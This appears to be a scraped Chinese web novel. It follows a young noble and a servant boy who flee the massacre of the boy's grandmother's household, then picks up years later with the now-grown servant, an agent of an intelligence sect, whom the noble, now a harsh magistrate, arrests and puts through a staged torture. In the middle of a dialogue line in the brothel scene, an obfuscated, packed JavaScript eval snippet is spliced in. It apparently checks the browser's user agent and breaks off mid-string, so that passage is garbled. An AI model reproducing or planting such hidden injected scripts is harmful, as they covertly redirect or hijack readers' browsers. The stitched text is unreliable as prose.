《被小少爷骗了三次》 1. 楔子 正午时分,蝉鸣渐起,伴着时不时“啪啪”的敲打声,蝉叫的声音渐小,领口浆洗得有些发白的小丫鬟悄悄捂着嘴轻声说:“丽姨,真要把这爬树猴杀干净吗?不都叫了好些年,还显得咱这院里热闹。” “臭丫头干活那么多话”,粗布衫的女人利索拍死一个,这才俯身低声道,“别让主家听见你在这嚼舌头,去,前院扫地去。” 小丫鬟看了眼不远处正趴在树上专心找蝉的黑小子,走之前小声蛐蛐:“丽姨,竹青偷偷藏起来了。” 竹青正专心把手里的蝉往怀里的竹筒揣,屁股突然被人一击,丽姨拎着扫帚站在树下看他:“把竹筒给我。” 他满脸笑容:“丽姨,我等会一块杀,方便。” 丽姨拿着扫帚戳他:“臭小子,别以为我不知道你想留着玩,给我。” “你们平时就这么干活?”稚气却冷淡的声音在身后响起。 丽姨转身看向台阶上白白嫩嫩的孩子,行礼道:“小少爷,是不是吵到您?” 竹青也跟着麻利下树,老老实实行了礼,他是宇文府上个月才买进来的童子,还没正经干太多活就被派来抓蝉。 听说宇文府常年只有老太太住,今年难得迎来京城的宝贝孙子回乡避暑,恨不得捧星星摘月亮给他才好。 院里的蝉声闹人,小少爷嫌吵,他们这才忙着到处捉蝉,小少爷年纪小脾气却很大,似乎每天都在生气。 萧灼尘确实心情很差,他被爹娘找了个理由塞上马车送到了这,往年只有新岁时他们才会来拜访祖母,今年如此反常必然是有其他事,他们总是这样,把他当三岁孩子,可他已经七岁,是个小大人了。 他讨厌这里,老太太把府里弄得像个花园,他走两步不是闻到沤肥的味道,就是看到已经干掉的水渍痕迹,又脏又乱,一点都不像他家,被娘亲打理得井井有条,干净清爽。 他不能对老太太生气,就只能对这里的花花草草闹脾气,尤其是该死的蝉叫,让他睡不好觉。 萧灼尘不说话,丽姨和竹青也没敢再开口,只是时不时拿眼瞧台阶上的人,揣摩着说点什么才不会让小少爷生气。 前几天有人在抓青蛙时因为没抓紧跳出去惊到了小少爷,已经被罚了月俸,府里的人对这位小祖宗都有些怯意,不敢随便招惹。 “世子,早饭准备好了。”有人走来打破了几人之间的沉默。 萧灼尘板着脸吩咐:“翠姨,午睡时不要让我听到一只蝉叫,你监督他们。” “是。” 午后院落恢复安静,平日里鸣个不停的虫声终于彻底没了声息。 萧灼尘一觉睡到天黑,难得心情好的多吃了碗米饭,老太太也歇下后他才发现,自己白天睡太多晚上已经毫无睡意。 平日里戌时便睡了,这会都亥时了他还没上床,萧灼尘看着翠姨有些疲惫的神色,便吩咐道:“我准备睡了,你去歇着吧。” 翠姨是宇文家的老人,看着他娘长大,后来又跟着他娘进了萧家,照顾萧灼尘的起居生活,算是半个奶妈。 翠姨有些皱纹的眼角堆起,笑道:“世子不用担心我,今日想晚些睡便晚些睡,也怪我,今天见你睡得香,不忍心惊扰美梦。” “在这怎么会有美梦。”萧灼尘嘟囔了一句,翠姨却听清了,她看着萧灼尘歪在侧榻上把玩着手里的棋子,轻声问他:“今夜无蝉鸣,世子是不习惯?” 见他不出声,她便继续说:“那就是今日的瓜果不够称心。” “我知道了,是前两日我们在街上没看到好玩的。” “翠姨”,萧灼尘扔掉棋子瞪她,“你怎么还把我当小孩子看?” 翠姨逗了趣,轻轻笑道:“小姐在我心里都还是个孩子,小姐的孩子自然只能是孩子。” 府外更声作响,子时已到,夜更深了。 翠姨坐在脚榻边,温柔拍拍他的膝盖:“我知道世子是担心小姐和王爷,我们出发匆忙,这些日子王府也没消息捎来,不如这样,明日我们给小姐去个信,就说暑热已消,问问她什么时候接我们回去。” 萧灼尘故作不在意的样子,话却软得很:“要她亲自来接,不然我就不走。” “好,让她亲自来。”翠姨无奈笑笑,还说自己不是个孩子,十足的孩子气。 得了约定的萧灼尘安稳躺上床,在黑暗中闭着眼半天还是精神抖擞,甚至已经开始思考应该怎么写这封信才能让他娘看出他生气了但又没那么生气。 萧灼尘想得入迷,忽听得窗外有动静,像是小动物跑过的声响,闪过便消失。 他正是精神头十足的时候,毫不犹豫起身出了门,想看看是狸猫还是耗子。 才刚走出两步就跟人撞了个满怀,他厉声喝道:“谁!” 来人一双手猛地捂上来,是一双跟他差不多大小的手,边捂边说:“别喊别喊,小少爷是我,家里进贼了。” 小孩的手有股粗糙的皂荚味,萧灼尘嫌弃甩开,还是压低了声音:“你是谁?” “我呀,竹青,白天还给您捉蝉呢。”竹青凑近他,一双亮晶的眼珠在月光下格外清晰,整个人却混在昏暗中看不清楚。 月色冷清,金枝玉叶的小少爷白得发光,竹青第一次感觉自己好黑,他常在外头干活,夏天很容易晒黑,一股莫名的攀比心上来,他不服道:“我冬天也很白,比你还白。” 萧灼尘皱眉,没听他的胡言乱语,又问:“你说家里进贼了?” “哦对对对,我正要去叫护卫,小少爷你别乱跑。”竹青把他往屋的方向推了推,继续往前跑去。 宇文府后院园林横卧一座小虹桥,把整个花园分成东西两部分,萧灼尘就住在西边厢房,过园林向外出的方向,是宇文家的祠堂,向东穿过桥廊,便是老太太居住的地方,自祠堂向北是临池水榭,平日里总有家丁巡视,今天却半个人影都没见到。 萧灼尘觉得有些奇怪,小声问:“你看到的贼长什么样?” “贼当然是贼样,扎着头巾,拿着刀剑”,竹青回头见小少爷紧紧跟着自己,忙赶道,“小少爷你别跟着我,我……” 萧灼尘猛地拽住他:“你确定那人拿着刀剑?几个人?” 竹青被他正经的模样唬一跳,说话也结巴起来:“没……没看太清是刀还是剑,蒙着脸,我就看到一个人。” “不对,贼为财物,手里抄的怎么会是伤人的东西。”萧灼尘有些不确定,但他怀疑进的不是贼,而是打家劫舍的强盗。 萧灼尘吩咐他:“不要大声喊,叫护卫们抄上家伙,告诉他们有强盗来了,护卫有功者有赏。” 说完他直奔老太太的卧房,外祖母年纪大了,若是被吓到肯定会生病。 萧灼尘跑得飞快,外祖母的房间灭了灯,屋里半点声音都听不到,他悄悄靠近床边,轻轻喊了声“外祖母”,手上却摸到一片湿润,有些粘腻的触感,萧灼尘有些奇怪:“外祖母,您床上洒了什么?” 没有人应他,有人举着明珠进门,萧灼尘被惊得转身,身子磕在床沿上,又似乎还撞到什么东西。 “别回头!”进来的是翠姨,她只套了件长衫,头发散乱,踉跄着朝他奔来,显然是已经睡了又起床,萧灼尘没见过她这么慌乱的模样,已经下意识回头看去。 那是一只满是皱纹的手,羊脂白的玉镯上沾满血迹,宇文家老太太半边身子都浸在血泊中,身体早已凉透,这双手傍晚时还抚摸过他的额头,夸他吃饭香。 萧灼尘被眼前的一幕定在原地,翠姨已经上前捂着他的眼睛躲到角落,她细心擦拭他手上的血迹,颤着声音快速道:“阿弥陀佛,世子别怕,家里进了贼人,翠姨带你出去,你记着,沿着官道一直向北就能回京城,我们……” 屋外混乱喊声和打斗的动静打断了她的话,翠姨牢牢抓着他猫腰向外走,萧灼尘僵着脑袋回头看了一眼,光线昏暗,他看不清外祖母的脸,只看到颈部的豁口,似乎从那开始断开了脑袋和身体的连接,以一种别扭的姿势扭曲着身体。 府里已经喊声四起,分不清是在抓贼还是乱斗,只知道到处是金属碰撞的声音,混着戛然而止的哭叫声,萧灼尘任由翠姨拉着他狂奔,分不清东南西北,也不知道已经逃到了哪里。 外祖母很疼他,他们每年回来省亲,外祖母都会给他准备新的被褥,还有攒了很久的玩具,这次来避暑,外祖母便想着法的每天给他安排不一样的瓜果,可现在她遭贼人砍杀,那么大的豁口,肯定很疼。 穿过花园的台阶,萧灼尘抬脚不够快扑倒在地,手心擦在地上的疼痛让他回了神,翠姨有些吃力地将他提起,耳边吵闹喊叫的声音越来越大。 这是去后院的路,只是听上去那边也有人,翠姨顺手擦了下他脸颊的灰,又想改道往小厨房去,竹青抱着脑袋从偏门冲了进来,看见他们忙喊道:“强盗杀人了,快跟我走。” 竹青亲眼看到那些人刺死了护卫,小少爷没说错,这不是贼,是杀人的强盗。 好在他平日没事就爱在府里到处溜达,占着身子小不引人注意,他一路逃过来倒也没事,就是整个人已经变得灰头土脸。 “去哪?”翠姨问他。 竹青脚步不停:“厨房那边有个狗洞,我还没来得及填。” 那是个半米高的狗洞,竹青是追野猫时发现的,他特意把那地方掩了起来,本想着方便日后偷溜出府玩,没想到如今成了逃命处。 打斗声已越来越近,竹青搬开掩盖物,率先爬了出去,对着洞口喊道:“快出来。” 翠姨脱下长衫裹紧萧灼尘,拉着他的手叮嘱道:“好孩子,出去了就沿着官道往北走,路上不要跟任何人说你的身份,除了你爹娘的话,谁的话都不要信明白吗?” 看萧灼尘点头,她爱怜地摸了摸他的脸,推搡着他往洞里去,萧灼尘爬到一半才反应过来,自言自语:“为什么要说这些,翠姨不走吗?” 他想爬回去问问,又担心误事,只能咬牙继续向前,竹青已经在洞口等半天,瞧见他的身影便钻了半个身子进来,连拖带拽地把他拉出洞。 萧灼尘才出洞口便急忙回头喊道:“翠姨快出来。” 一把泥土紧随其后,翠姨的声音传来:“乖,不要回头,翠姨不在,你一定要照顾好自己。” 萧灼尘急了,又要往洞里钻,身边的竹青一把拉住他:“这洞太小,翠姨爬不过来。” 萧灼尘甩开他的手,怒道:“你不早说!” 洞里的泥土渐多,是翠姨在那边填洞,萧灼尘喊道:“不要丢下我,翠姨!” 迟来的恐慌袭来,外祖母在里面,翠姨也在里面,他一个人能去哪?萧灼尘想往里进,翠姨的声音已经有些模糊,只听得清“走,快走!” 竹青拽着他,也有些着急:“小少爷,再不走就真走不了了。” 泥土渐实,洞那头彻底没了声息,兵器声,喊叫声,翠姨的声音,什么都没有,萧灼尘握紧手边的泥土,抹了把泪,红着眼往后退。 夜黑无风,两人就这么趁黑向着城外跑。 天微亮城门口已经聚了不少要出城的人,他们混在人群中出了城,直到瞧见一家农户的屋子才停下来,竹青又饿又累,他摆摆手:“城外住的大多是樵夫,等他上山我们去他家喝口水。” 萧灼尘也很累,巨大的变故让他精神有些恍惚,这会跟着竹青停下脚步歇了会才渐渐找回神志,他看着没事人一样的黑小孩,忽生愤怒:“你是宇文家的人,看着他们遭难你都不会伤心吗?” 两人从狗洞爬出来后一路不停,竹青感觉自己是在泥里滚了一遍,面前的小少爷却只是沾了些土,脸上也还算干净,他扯扯衣角才说:“小少爷,我自然是伤心的,老太太对我们好,丽姨他们也不会欺负人,我都想在你家干一辈子,可人死不能复生,我谁都救不了,能护着自己就已经很不错了,再说我不是带你出来了吗?也算是报老太太的恩情。” 竹青也想做个大侠般的人物,他听人说过,大侠都能呼风唤雨,可厉害。 但他不是大侠,他只是个没有父母的野孩子,乞丐堆里长大,连名字都是卖他的人给现取的,要不是侥幸被宇文府买回去,他每天最忙的就是要想怎么填饱下一顿。 萧灼尘满腔怨怒无处可发,他又何尝不是谁都救不了。 竹青看着他白脸青一阵红一阵,担心少爷犯脾气便讨好道:“小少爷,你别生气,以后我保护你,肯定不会饿着你。” 萧灼尘肚子“咕”了一声,似乎是应答那句饿,他脸瞬间红了,他又气又伤心,都这种时候,为何自己还会饿,还会渴! 竹青拍拍肚子,看着樵夫出了门才招呼他:“走,等会我来说,你跟着我。” 樵夫家有妇人孩子在家,竹青给两人编造了个兄弟跟亲人走散走了一夜的故事,连哭带骗的才哄得人让他们进了门。 妇人姓王,抱着怀里的孩子让他们在院子里等,给他们一人一碗米浆和馒头后才说:“吃完了自己去那边打点井水洗洗脸,我这东西也不多,但馒头管够。” 萧灼尘看着桌上的咸菜,默默咬了口馒头才问:“为什么要等樵夫走了才来?” “女人心软,我怕那男人不信我的话”,竹青吃了口咸菜又梗着脖子咽下去,斯哈着嘴猛灌几口米汤,小声说,“怎么这么辣。” 萧灼尘拈起一根尝了尝,淡淡的辣味,除了咸 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王婶犹豫着看向一行人,中年男人朝他抱拳一笑,她也不好说什么,便远远站在门口看着他们。 萧灼尘被抓到后便一声不吭,直到被送到中年男人面前,他看向来人,对方圆脸含笑,眼角眉梢微微有些皱纹,在两人身上扫过一眼后才看着他开口:“世子,在下是公主府的季德,特意来接您回京。” 竹青闻言也不再挣扎,看着他们一派祥和的模样,身后的王婶也安心回了屋。 城外客栈,两人已经换了身衣衫。 竹青摸摸身上的料子,好软好舒服,他好喜欢。 “他们见人就杀,那不是强盗!”萧灼尘气红了脸站在桌边,无论他说什么,季德都不肯带他回宇文府。 季德低眉垂目,却是拦在出口方向:“世子息怒,公主也是宇文家的人,当地官府势必会给公主一个交代,只是此地已不安全,我们必须尽快启程,护送您回京才是头等大事。” 萧灼尘再一次感受到自己的无能为力,他救不了外祖母和翠姨,现在连回去看一眼都成奢望,他捏紧掌心坐下:“那你去安排,我父亲知道你来接我吗?” 萧灼尘情绪收放太快,季德有些诧异看他一眼,小少年脸还红着,人却已经冷静下来,他拱手向下,并没有正面回答萧灼尘的问题:“世子回京便知。” 京城已是翻天覆地,言多必失,他的职责只是把少年带回去。 萧灼尘盯着他半天没说话,季德感觉氛围有些压抑,心中不禁肃然,就听对方开口:“去安排吧,竹青救过我,他跟我们一起走。” 季德松口气:“那世子与小公子先休息,晚点我们便出发。” 目送着人出门,竹青才跳下椅子靠近萧灼尘:“小少爷你吓死我了,我还以为你会骂他。” 萧灼尘看着一脸喜色摸衣服的人,很是无语:“你确定要跟着我吗?” 竹青紧张凑近他:“小少爷,我什么都会做,能洗衣服能跑腿,能捉青蛙能捉蝉,你给我口饭吃就行,我还会捶肩。”他有些讨好地捏捏萧灼尘的手臂,又来回轻敲。 萧灼尘有些心烦地拉开他的手,耐心说:“京城一定有事发生,你跟着我不一定是好事。” “肯定好,能吃饱就行”,竹青说着又摸了把他的手,才疑惑问,“小少爷你是不是发烧了,你好热。” 说完又迅速在他额头处探了探,肯定道:“这么烫,我去叫人。” 竹青跑得快,萧灼尘来不及叫住他人已经没了影,他轻扶额头,自己没觉得有多热,被竹青这么一说才确实觉得有些头重脚轻。 病来如山倒,萧灼尘突然的高热打乱他们的行程,季德决定晚一天再出发。 竹青很有眼色的跟着忙上忙下,尽量避免跟萧灼尘单独相处,他害怕小少爷反悔不带他走,他没有地方可以去,小少爷人不坏,跟着他应该没问题。 等到众人都歇下,他才回房间躺下,床也很软,宇文家的床也舒服,只是要和其他下人挤在一起,没有现在舒服。 想到宇文家,竹青又担心起隔壁的小少爷,小少爷没吃过苦,一定是被吓到了,其实他也很害怕,流浪街头的时候他见过死人,但没见过死在他面前的人。小少爷胆子这么小,以后自己得保护好他,这样他就不会让自己走了。 念头杂乱,竹青翻来覆去有些睡不着,忽然听得门闩处传来响动,他警惕地坐起身,门口处又没了动静。他缓慢下床,向着门口移动,脑中警铃十足,是强盗追过来了?来杀小少爷?要不要大叫喊人? 没等他想出所以然,门外突然明亮起来,竹青呆愣片刻反应过来,这是走水了,他连忙喊道:“着火了,小少爷,着火了!” 奋力拉门的手往后一倒,竹青看着纹丝不动的房门,慌乱拍喊,有人把这间屋子锁起来了,他出不去。 火势起得很快,火舌很快吞了窗户处,逼得他往后退,浓烟四起,竹青已经喊不出声,他咳嗽着裹着被子,趁着火势烧出的窗户缺口爬出去,烟雾让人看不清方向,竹青凭记忆往小少爷的房间挪去。 门开着,床上没有人,竹青悬着的心放下,再也没有担忧地直奔后窗口,他们住二楼,小少爷的房间通风好,前后都有窗,他之前开窗看过,楼下是湖,水怕火,跳下去就不会有事。浓烟呛得他咳个不停,竹青后退两步再一个跳冲。 “咚”的一声,他觉得自己似乎被人拿大水球狠狠迎面砸下来,砸得他头痛,肩膀也火辣辣的痛,他没有余力再想太多,凭着求生本能向岸边扑腾,比划间似乎勾到什么东西,有人在那头用力,竹青猛地拽住那条线,渐渐失了意识。 岸上人感受到水里阻力变大,“咦”了一声,加快了拉绳的手。 萧灼尘夜间吃了药,睡得却不安稳,头昏脑涨间总是人影幢幢,远远近近的在他周围打转。 混乱的吵闹声让他从天旋地转的混沌中清醒,季德正抱着他策马狂奔,夜风拍打得脸生疼,他哑着嗓子问:“怎么回事?” 季德低头看他:“世子醒了?有人在客栈纵火,这里不能再呆下去。” 萧灼尘拽着他衣服:“竹青呢?” 季德喊道:“没救出来,对不住世子,等安全了任凭世子发落。” 没救出来是什么意思?竹青还在客栈里?萧灼尘高热未退,这会又火急攻心,一时竟失了力气,他软软垂下手,呢喃道:“回去,救他。” 声音消散在风中,没有人听到,迷糊间萧灼尘似乎看到了那座着火的客栈,冲天火光,无人生还。 2. 被抓 微风拂过,泛黄的叶子稀稀拉拉被吹下,打在水面上转了个漩便随波飘远。岸边垂钓的男人看着一动不动的鱼线,衔着草换了个姿势半坐着。 有人背着竹篓走来,在离他一米外的位置坐下,低声道:“京城那边没有传来新消息。” 男人捻了捻手指:“已经两个月没有消息了吧?” 来人回他:“对,这不像狐狸的做事风格,白虎使有说下一步的安排吗,要不要我进京看看?” 男人“啧”了一声,拍拍身子站起身:“别操那么多心,安心守在这里,我没找你前不用来这了。” “难道是让你去京城?”那人有些惊讶,男人笑而不答:“你猜,鱼竿送你,下回找你来取。” 说完他哼着小调慢悠悠离开。 河边水波微漾,又重新恢复平静。 代水城是个人流如潮的地方,横跨小半个城的赤湖湖畔种了些桃花柳树,湖中还有莲花,春夏秋冬四季更换,景色各有千秋,吸引着南来北往的人停下脚步歇息,在城里游玩欢乐,尤以每年的春秋最为热闹。 沿湖走到底,再向西走三公里,经过几个商铺,就到了醉翁酒坊。 城里大大小小的酒坊很多,这两年就属醉翁酒坊的名声最大,倒不是味道比其他家醇美,而是酒坊的酒总是限量限时,一来二去,竟也传出个“独一无二”的名声。 叶澈穿过排队买酒的人群,笑着招呼:“城东的酒也不错,大家不去试试?” 人群里有人回他:“叶老板,怎么把客人往外赶,你家的酒就是最好的。” 有人附和着夸赞,叶澈笑着拱手相谢,径直往里间去,穿过花园的假山亭,再过几个回廊,他看向院里正在练桩的人,那人察觉到目光,停下来看他,声音清脆:“哥哥回来了。” 叶澈眯了眯眼,摇头示意屋里说话,两人进屋后他才说:“门主,没有外人的时候不用叫我哥哥。” 棠溪接过他递来的茶水喝一口:“我这是谨慎,倒是你,私下就不能别叫我门主吗?” “那怎么行,门主就是门主,不可乱了规矩”,叶澈见她还要再说,连忙开口,“我打算去京城。” 棠溪也正色起来:“狐狸那边出问题了?” 叶澈摇头:“不太确定,她突然断了联系,不知道是人出意外还是据点出意外,我去看看再决定,保全人员为上。” 棠溪一巴掌拍在桌上:“那我跟你一起去。” 叶澈有些无奈:“门主,狡兔三窟你忘了,这几年近畿的据点都有损失,若是京城危险,我们扎堆去,江湖就再也没有银钩门了。” “你又没武功,真有危险谁都打不过”,棠溪也急了,“我爹临终前可交代过我们要互帮互助。” 叶澈没有说话,只是静静看着她,棠溪从小跟他一起长大,自然明白这是他明确的拒绝,她有些不高兴:“一口一个门主,我看你也没把我这门主看得多重要,门主的话你也不听。” 叶澈笑了,桃花眼笑眼盈盈:“就是因为门主太重要,我才不能让你轻易涉险,再说也不一定危险,我只是去看看,没打算做什么。” 叶澈那双眼,看狗都有情,棠溪看了这么多年还是很难抵挡他服软的眼神。 棠溪叹口气,转念心思还是担忧道:“我是担心京城里那个煞神,这些年追着江湖门派打,树大招风,狐狸的生意做大后我一直有些担心,如今局势混乱,太过引人注目就是活靶子,不管京城情况如何,借这机会把人手都分拆,隐蔽起来。” 想起自己门前的队伍情况,叶澈点点头:“我还有个想法。” 次日,醉翁酒坊的老板要去外地采风,即将歇业半年的消息传出后,赶着最后几天来排队买酒的人更多了。 棠溪忙得连练功的时间都没有,同一时间,叶澈已经日夜兼程赶往京城。 京城比他上一次来更繁华了些。 银钩门老门主棠敬还在之时,曾带他和棠溪来过几次京城,布置暗桩眼线,交换情报,后来他自己也来过,但始终不太喜欢这个地方。 好在为了各自的安全,他们并不需要太频繁地出入京城。 叶澈还记得自己第一回来京城时,到处都是鳞次栉比的商铺,道路宽得能并架三辆马车,还有那阳光下熠熠生辉的琉璃瓦,那时他每天走路都忍不住半张着嘴,眼睛都不敢眨太多,生怕一不小心便错过了稀奇的场景。 后来每一次来京城,他都会发现新的变化,有时是灯火通明的华灯,有时是吹拉弹唱的曲艺人,只是那时叶澈已经跟着棠敬走南闯北走过很多地方,见过读不起书的小孩,也经历过蝗虫过境的灾害。 叶澈不会再为京城的繁华而心动,只觉得有些荒谬,繁华,永远只属于达官贵人。 进京后叶澈在城里逛了两天,才选定城南的一个小院。 这个住所四通八达,往北走是戒律森严的皇城,往西是文人墨客最爱聚集的曲艺玩耍之地,向东是商人们来往交易的市集,继续朝南便能出城。 叶澈在市集上挑了几身行头,把自己打扮成有钱商人的模样,这才大摇大摆进了新燕楼。 新燕馆是小有名气的卖艺馆,也是银钩门在京城最大的分点。 永武年间,皇权尚武,四处南征北伐占据各地,以皇帝和公主各自为首的党阀相争,内外不稳导致朝野混乱,江湖各大门派也因此悄然壮大,尤以“银钩门”“逍遥阁”“幻音坊”为首的几大势力最为显眼。 银钩门是老门主棠敬在十五年前成立,他以歩丈量各地,打出了一张遍布全国的情报网,小到地方官的家中秘事,大到各大门派发展变化,银钩门什么消息都探,找合适的卖家再进行交换。 幻音坊是“拿人钱财,替人消灾”的杀手组织,门下众人多擅长暗杀,据说只要钱到位,什么人都能杀。 逍遥阁则比较神秘,没有人知道他们是怎么拿下那些重要的商旅之路,只知道是个很有钱的组织,甚至能影响朝堂。 新燕馆在京城最主要的责任就是打探幻音坊和逍遥阁的消息,这里的伎官都有高超才艺,琴棋书画、吹拉弹唱不在话下,是朝廷官员附庸风雅时的常来地之一。 叶澈在大茶壶的带领下经过歌舞伎,上了二楼包厢才甩了锭银子出来:“叫你们妈妈过来,我有话要问。” 大茶壶弯腰行礼:“公子稍等。” 楼下声乐阵阵,叶澈在屋内漫步巡视,透过半开的窗户向下看了几眼,对面是家茶点铺,客人明显比新燕馆少很多。 叶澈听到敲门声便关了窗户,应道:“进来。” 薛晓笑着迎面进来:“公子面生得很,是第一次来咱们这吗?” 叶澈微不可见地皱眉,向前的脚步顿住,半靠在窗边轻笑道:“说说吧,你们这的姑娘能不能带回家欣赏?” 薛晓将额前细碎的头发轻挽,手里的丝绢一扬: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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叶澈走到他面前坐下,自顾自倒了杯茶,又给对方添上后才说:“小民愚昧,但来的路上已经仔细反思过,我刚来京城不久,没有作奸犯科,也没有偷摸拐骗,非要摘个错处出来的话,那便是今天到新燕馆找姑娘。” 男人看着他没动:“还有吗?” “这”,叶澈故作思考几秒,又拍手道,“是不是应该打点一二,小民听说过,若是想来京城做买卖,定要有眼力劲,懂得孝敬大人。” 男人似乎来了兴趣,托腮问他:“哦,你觉得应该打点多少比较合适?” 叶澈有些为难地看着他,迟疑道:“小民初来乍到,不如大人明示,小民一定尽力所为。” 男人冷笑一声:“还有吗?” 见叶澈摇头便喊道:“来人,押回去审。” 叶澈被架着往外走,也急道:“大人,光天化日,您不能平白无故地抓人。” 男人起身朝他走来,叶澈被押着半低着头,不得不抬头看他,就听他冷峻道:“谁说我是平白无故,你藐视本官,又诋毁朝廷官员的德行,该抓。” “封嘴。” 叶澈嘴里被塞进木塞,粗糙的木屑扎得嘴生疼,他刚是假装着急,这会才真急眼,不让他说话那他不说了就是,没必要这么粗鲁,他没忍住翻了个白眼。 男人有些意外地挑眉,摩挲着玉扳指没说话,看着人被押走才将目光放回桌上满杯的茶水。 初入京城,便直奔青楼,这人见到他也不害怕,看来银钩门的野耗子,逮到了。 3. 用刑 江湖上本有二十多个门派,以南派北派划分,直到朝堂里出现了一位“冷面煞神”。 四年前,年仅十八的大理寺卿萧灼尘自上任后便开始疯狂打压各方江湖势力,平日里大兴风头的门派几乎被清理干净,本就隐在暗处的几大势力各自潜伏发展,这才变成如今三大门派为首的局面。 即便如此,隔段时间就有各地暗桩被拔的事情发生,尤以近畿地区最为严重。 棠溪早有关闭新燕馆的打算,无奈京城达官显贵太多,新燕馆在这些熟客的关注下无法贸然关门,一拖再拖,这才拖延至今。 叶澈安心躺在地上,思考着近些年新燕馆传回的消息,这一年多未免引起注意,他们已经降低了与新燕馆联系的频率,所传之事多琐碎,究竟是什么事让大理寺卿盯上了新燕馆,甚至在此守株待兔呢? 想到萧灼尘,叶澈缓缓睁开眼,暗不见天日的地牢里,鼻尖嗅到的都是腐烂臭味,他觉得肩膀有些不适,索性坐起身靠在墙边。 叶澈小时候曾在京城见过萧灼尘,那时他还在对京城的好奇阶段,趁着闲暇之时满城瞎逛,偶然间遇到了那位季德大人。 季德站在府邸前等着人下马车,萧灼尘掀帘而出时叶澈一眼就认出来是那娇生惯养的小少爷,小少爷回京后穿得更加华丽,看起来瘦了很多,但人还算精神,木着脸看不出喜怒,跳下车后径直进了府。 那天叶澈在府外站了很久,他想进去告诉小少爷自己的平安,又疑心对方是否在乎。当年客栈走水是有人故意纵火,可锁了他的门大概也是决意让他死在那场火里,若不是幸运遇到棠敬,他未必能活下来。 叶澈最后还是悄然离开了那里,他与小少爷本就算不上多深厚的情谊,宇文家对他好,他也救过小少爷,一来一去,说是扯平也不为过。 天高海阔,他们本就是不同世界的人,不必强求缘分。 后来老门主去世,他和棠溪忙着银钩门的事情,叶澈也渐渐忘记这位小少爷,直到他以大理寺卿的身份再度出现。 叶澈想起那时传回银钩门的情报,大理寺卿萧灼尘,喜怒无常,好刑罚,雷霆手段,为人苛刻,长乐公主亲近的人,朝中竖敌颇多。 几乎没有正面的描述让叶澈看得直皱眉,小少爷脾气大但心地不坏,他不知道萧灼尘怎么落得如此恶的名声,但他确信萧灼尘是银钩门的一大威胁。 这次来京城叶澈已经做好和萧灼尘对上的准备,但萧灼尘比情报中所说更加蛮横,无凭无据便能在皇城下抓人。 “出来。” 狱卒打开门,押着他向前,铁链加身,叶澈走得很慢,经过的牢房里投来鼠一样的目光,看不清模样,也听不见太多声响。 “走快点。”狱卒嫌他慢,伸手推了一把,他踉跄着向前,走道里只有铁链相撞的金属声。 萧灼尘早已翘着腿坐在审讯室,昏暗的灯光下显得他的脸更加可怖,叶澈只瞧了一眼便被人狠狠肘击腹部痛得瘫倒在地,架到了十字上。 叶澈不是没被人打过,只是大理寺狱卒下手快准狠,不过一拳,胃痛泛起的恶心感让他恨不得把前天吃的东西都吐出来,他喘了口气笑道:“萧大人,草民命贱,但也想死个明白,究竟所犯何事?” 萧灼尘扬手让人走开,不太在意地说:“你知道我是谁?” “呵,大理寺几个字草民还是认得的”,叶澈倒抽口气,继续说,“久闻京城大理寺卿年少有为,做事雷厉风行,看您风采,想必便是萧灼尘大人。” 萧灼尘走近他面前,盯着他问:“你的消息倒是灵通,看来更像是银钩门的。” 叶澈也不躲闪:“恕草民愚昧,您口中的银钩门是?” 身边火盆的光亮映在叶澈眼中格外清亮,过于有神的眼神让他整个人显得有些挑衅的味道,萧灼尘钳住他下巴,凑近道:“大理寺卿的名声你听过,银钩门不知道?” 萧灼尘力气大,压得叶澈一动不动,说话都变得费劲起来,他半句话半句话往外蹦:“我是,商人,不是,到处嚼舌头,的人。” 萧灼尘甩开他的脸,自顾自说道:“嘴硬也好办,拔两颗牙就老实了,来人。” 狱卒举着铁钳走来,叶澈慌忙喊道:“我是从代水城来的商人,不信大人去查,半个城的人都知道我们酒坊,我就是听说京城美酒佳酿独特,才会不远千里赶来学习,萧大人,我没有犯罪,你不能滥用私刑。” 黑布蒙上了叶澈的眼睛,有人扒开他的嘴,往他牙龈上撒了东西,针扎般的刺痛感袭来后,有拳头大的钳子伸进了他嘴里,只剩下冰冷的触感,叶澈听到比铁钳更冰冷的声音:“在我的地方,我的话就是规矩,老实交代,便少受点苦。” 叶澈不知道是自我的麻痹还是他们的手段,他感觉得到有温热的东西从嘴边流下,半边嘴却麻木得感受不到牙齿的存在,铁钳离开,叶澈忍不住牙打颤哆嗦道:“我说的,都是实话,你到底想听我说什么。” 萧灼尘搭上他的手腕,查探不到内息便皱眉看了眼半发抖的人,又用力抻开他捏紧的拳头,叶澈十指修长,这会因恐惧的用力已经有些泛红,但看得出是没干过活也没练过武器的手,半个老茧都没有。 叶澈被蒙着眼不得动弹,只能感觉到这人顺着他的指头慢慢摩挲,就听他开口:“牙拔多了不方便说话,我看你手生得不错,不知道没有指甲的模样还会不会好看。” 说完牢牢压住他的胳膊不得动弹,叶澈自知力薄,并未再做挣扎,任由他们再上刑,手指连心,他只感到钻心般的疼痛,麻木的知觉让人分不清是有针刺入还是指甲被拔,接连五个手指轮番痛过后,他咬牙没再说半句话。 眼前的黑放大了身体的痛,叶澈觉得意识都有些恍惚,只听人在耳边问:“说,你是什么人?” 黑布下的双眼轻轻闭上,叶澈带着哭腔应道:“我是,醉翁酒坊的老板,我再也不去青楼了,放过我吧。” 叶澈大概是痛得厉害,嘴巴咬破了都没喊出来,萧灼尘松开钳制他的力量,语气淡淡:“去青楼为什么要关窗?” 原来是因为这个,叶澈嘴角扯出一丝笑:“我无亲无故,想找个姑娘回去陪着,也不是什么光彩事,只是,没想到还犯法。” 对面的人没再说话,半晌萧灼尘的声音才再次响起:“送叶老板回去休息,既然是特意来京城品尝佳酿,那便多待些时日。” 官靴踱地的声音远离,叶澈眼前的黑布也被扯开,身上的力量一松,他跪坐在地,颤颤巍巍抬起左手,指甲完好,并无损伤,他手朝脸的方向伸去,已经坐回去的萧灼尘冷酷道:“这次牙还在,下次就不一定了。” 叶澈手未停,满手摸到湿润的暗红色,半边嘴还麻着,似乎不是他的血,狱卒已经开口:“只是猪血。” 他心下一松,就听萧灼尘又问:“你说无亲无故,我怎么听说醉翁酒坊里有女眷?” 